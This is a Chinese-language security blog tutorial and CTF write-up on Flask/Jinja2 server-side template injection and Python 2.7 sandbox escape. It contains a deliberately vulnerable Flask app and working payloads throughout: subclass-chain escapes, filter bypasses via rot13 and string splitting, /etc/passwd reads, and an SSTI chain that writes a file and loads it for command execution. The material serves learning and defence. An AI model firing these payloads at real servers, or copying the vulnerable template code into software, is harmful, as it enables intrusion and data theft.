Kingkk's Blog.

Flask/Jinja2 SSTI && python 沙箱逃逸

2018/06/25 Share

前言

想着之前学了Flask,就正好把之前的SSTI模板注入,和python沙箱逃逸一起给学了
虽然模板注入和沙箱逃逸是两码事,但是由于jinja2的python运行环境也是一个沙箱,就会涉及到到一些沙箱逃逸的东西
而且沙箱逃逸也不仅仅只有在SSTI中发挥作用,所以虽然写在一起,但沙箱逃逸可能还会占一块比较大而独立的部分

SSTI

SSTI,又称服务端模板注入攻击。其发生在MVC框架中的view层。

服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题

先来看一段flask代码

1
2
3
4
5
6
7
8
9
10
from flask import Flask, render_template_string, config

app = Flask(__name__)

@app.route('/<name>')
def index(name):
template = '<h1>hello {}!<h1>'.format(name)
return render_template_string(template)

app.run()

就是一个简单的欢迎页面,以一个字符串当作html模板返回给客户端,其中用format格式化的用户的输入,并插入在模板中

接下来来看看输入1时的输出

可以看到,用户的输入被插入到模板中,然后被jinja2语法解释器解析。返回了解析后的结果。

由于jinja2在设计时就限制了不能执行过多的python语句,而且运行环境也是在一个沙箱中,以保证安全。
jinja2的沙箱逃逸先后面再说,这里我们可以先获取一些flask运行时的数据
如运行session的值(虽然这里暂时没有session)

还有一些flask中的配置变量

简而言之,就相当于控制了对方的view层,可以获取到一切jinja2中可以获取的数据
但假如能逃逸jinja2的沙箱,就可能不仅仅只有那么点危害了..

python沙箱逃逸

概述

python沙箱逃逸主要是用于一些沙箱环境,如一些OJ或者一些在线交互终端,以及jinja2这种python模板解释器

沙箱一般是限制指定函数的运行,或者对指定模块的删除以及过滤

沙箱逃逸就是要逃离这种限制,让对方服务器运行我们指定的恶意代码,以达到getshell或者文件读取的目的

最后,这里的python沙箱逃逸用的是python2.7,python3可能有所不同

一些任意代码执行以及文件读取的函数

os 执行系统命令

1
2
import os
os.system('ipconfig')

exec 任意代码执行

1
exec('__import__("os").system("ipconfig")')

eval 任意代码执行

1
eval('__import__("os").system("ipconfig")')

timeit 本是检测性能的,也可以任意代码执行

1
2
import timeit
timeit.timeit("__import__('os').system('ipconfig')",number=1)

platform

1
2
import platform
platform.popen('ipconfig').read()

subprocess

1
2
import subprocess
subprocess.Popen('ipconfig', shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read()

file

1
file('/etc/passwd').read()

open

1
open('/etc/passwd').read()

codecs

1
2
import codecs
codecs.open('/etc/passwd').read()

一道ctf

不如先来看一道网上找到的ctf题,来熟悉下经典的逃逸方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from __future__ import print_function

banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]

targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]

while 1:
print(">>>", end=' ')
data = raw_input()

for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
exec data

删除了内置函数,以及禁止了指定字符的出现
不妨先来看下payload

1
[].__class__.__base__.__subclasses__()[40]('flag.txt').read()

先通过__class__获取列表的类

1
2
>>>[].__class__
<type 'list'>

再通过__base__获取基础类 object类(在python2.7中大部分类都继承了object类)

1
2
>>> [].__class__.__base__
<type 'object'>

依次获取子类列表__subclasses__()

1
2
>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>, <class 'string.Template'>, <class 'string.Formatter'>]

这样就找了更多可以拓展的类,就更方便于我们找到我们想要执行的函数

1
2
>>> [].__class__.__base__.__subclasses__()[40]
<type 'file'>

第四十个索引恰好是想要的file类型,就可以用它进行文件读取了

1
2
>>> [].__class__.__base__.__subclasses__()[40]('d:/1.txt').read()
'hello world!'

再让我们来看下另一个命令执行的payload

1
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

前面一部分思路类似于之前文件读取的思路,就直接来到这里

1
2
>>> ().__class__.__bases__[0].__subclasses__()[59]
<class 'warnings.WarningMessage'>

可以看到是获取了一个warnings.WarningMessage类,然后继续执行__init__后获取全局变量

func_globals返回一个包含函数全局变量的字典引用

然后获取linecache模块(其中包含了os模块)

1
2
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache']
<module 'linecache' from 'D:\Python\Python27\lib\linecache.pyc'>

然后用__dict__获取指定模块(由于对输入的字符进行了限制,所以要找个利用字符串获取指定模块的方式)

__dict__是一个字典,键为属性名,值为属性值

1
2
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os']
<module 'os' from 'D:\Python\Python27\lib\os.pyc'>

成功获取到了os模块,然后命令执行即可

1
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

逃逸思路

当函数被禁用时,就要通过一些类中的关系来引用被禁用的函数

一些常见的寻找特殊模块的方式

  • __class__:获得当前对象的类
  • __bases__:列出其基类
  • __mro__ :列出解析方法的调用顺序,类似于bases
  • __subclasses__():返回子类列表
  • __dict__ : 列出当前属性/函数的字典
  • func_globals返回一个包含函数全局变量的字典引用

一些防御与对抗措施

禁止引入敏感包

比如通过正则匹配之类的,拒绝import osimport commands之类的语句出现
这是最低级的一种防御措施,可以通过一些编码来进行混淆

1
2
f3ck = __import__("pbzznaqf".decode('rot_13'))
print f3ck.getoutput('ifconfig')

或者配合getattr函数

1
2
import codecs
getattr(os,codecs.encode("flfgrz",'rot13'))('ifconfig')

或者进行一些base64,倒序之类的。
总之,只要找到一个以字符形式执行代码的总是会有办法的

删除__builtins__中的函数

就比如之前那个ctf例子中的

1
2
for x in targets:
del __builtins__.__dict__[x]

可以通过reload重新导入__builtins__模块reload(__builtin__)

reload也是__builtins__中的一个函数,假如它也被删了的话,还可以尝试一个imp的模块

1
2
import imp
imp.reload(__builtin__)

修改sys.modules

由于import导入包时,是从sys.path中去导入对应的包
防御者可能会对其进行修改,导致无法导入想要的模块

这时可以自己尝试修改模块的位置sys.modules['os']='/usr/lib/python2.7/os.py'
或者尝试运行一遍os.py,也就相当于导入了一次os模块

1
execfile('/usr/lib/python2.7/os.py')

寻找数据链

大多数情况下时,可以尝试利用类似之前的payload,通过类之间的关系,寻找对应的数据链
然后找到你想要的函数引用,就可以进行命令执行了

Jinja2中的沙箱逃逸

沙箱逃逸讲完了,就再回来看看如何逃逸Jinja2的沙箱
和之前环境类似

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route('/')
def index():
name = request.args.get('name')
template = '<h1>hello {}!<h1>'.format(name)
return render_template_string(template)

app.run()

环境依旧是2.7,利用之前那个payload,我们很容易就能进行任意文件读取

1
http://192.168.5.128:5000/{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

但,其实能做的远不止这些

在config对象中,from_pyfile可以将对象加载到Flask的配置环境中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def from_pyfile(self, filename, silent=False):
"""Updates the values in the config from a Python file. This function
behaves as if the file was imported as module with the
:meth:`from_object` function.

:param filename: the filename of the config. This can either be an
absolute filename or a filename relative to the
root path.
:param silent: set to `True` if you want silent failure for missing
files.

.. versionadded:: 0.7
`silent` parameter.
"""
filename = os.path.join(self.root_path, filename)
d = imp.new_module('config')
d.__file__ = filename
try:
with open(filename) as config_file:
exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
except IOError as e:
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
return False
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
self.from_object(d)
return True

这里我们可以利用file类向tmp目录下写入py文件,然后再对其编译,加载到config变量中
先进行文件的写入

1
http://192.168.5.128:5000/?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/cmd', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}


可以看到成功将文件写入
然后对其编译加载到config变量中

可以看到成功的将变量注册到了config中

接下来就可以任意命令执行了

因此Jinja2中并不能因为其是一个沙箱环境,就忽视了SSTI的危害。
切记不能将用户输入传递到模板当中,至少目前情况可以直接get整个物理机的shell

Reference link

https://blog.0kami.cn/2016/09/16/old-python-sandbox-escape/
https://hatboy.github.io/2018/04/19/Python沙箱逃逸总结/
https://xz.aliyun.com/t/52
http://www.freebuf.com/articles/web/98928.html

CATALOG
  1. 1. 前言
  2. 2. SSTI
  3. 3. python沙箱逃逸
    1. 3.1. 概述
    2. 3.2. 一些任意代码执行以及文件读取的函数
    3. 3.3. 一道ctf
    4. 3.4. 逃逸思路
    5. 3.5. 一些防御与对抗措施
      1. 3.5.1. 禁止引入敏感包
      2. 3.5.2. 删除__builtins__中的函数
      3. 3.5.3. 修改sys.modules
      4. 3.5.4. 寻找数据链
  4. 4. Jinja2中的沙箱逃逸
  5. 5. Reference link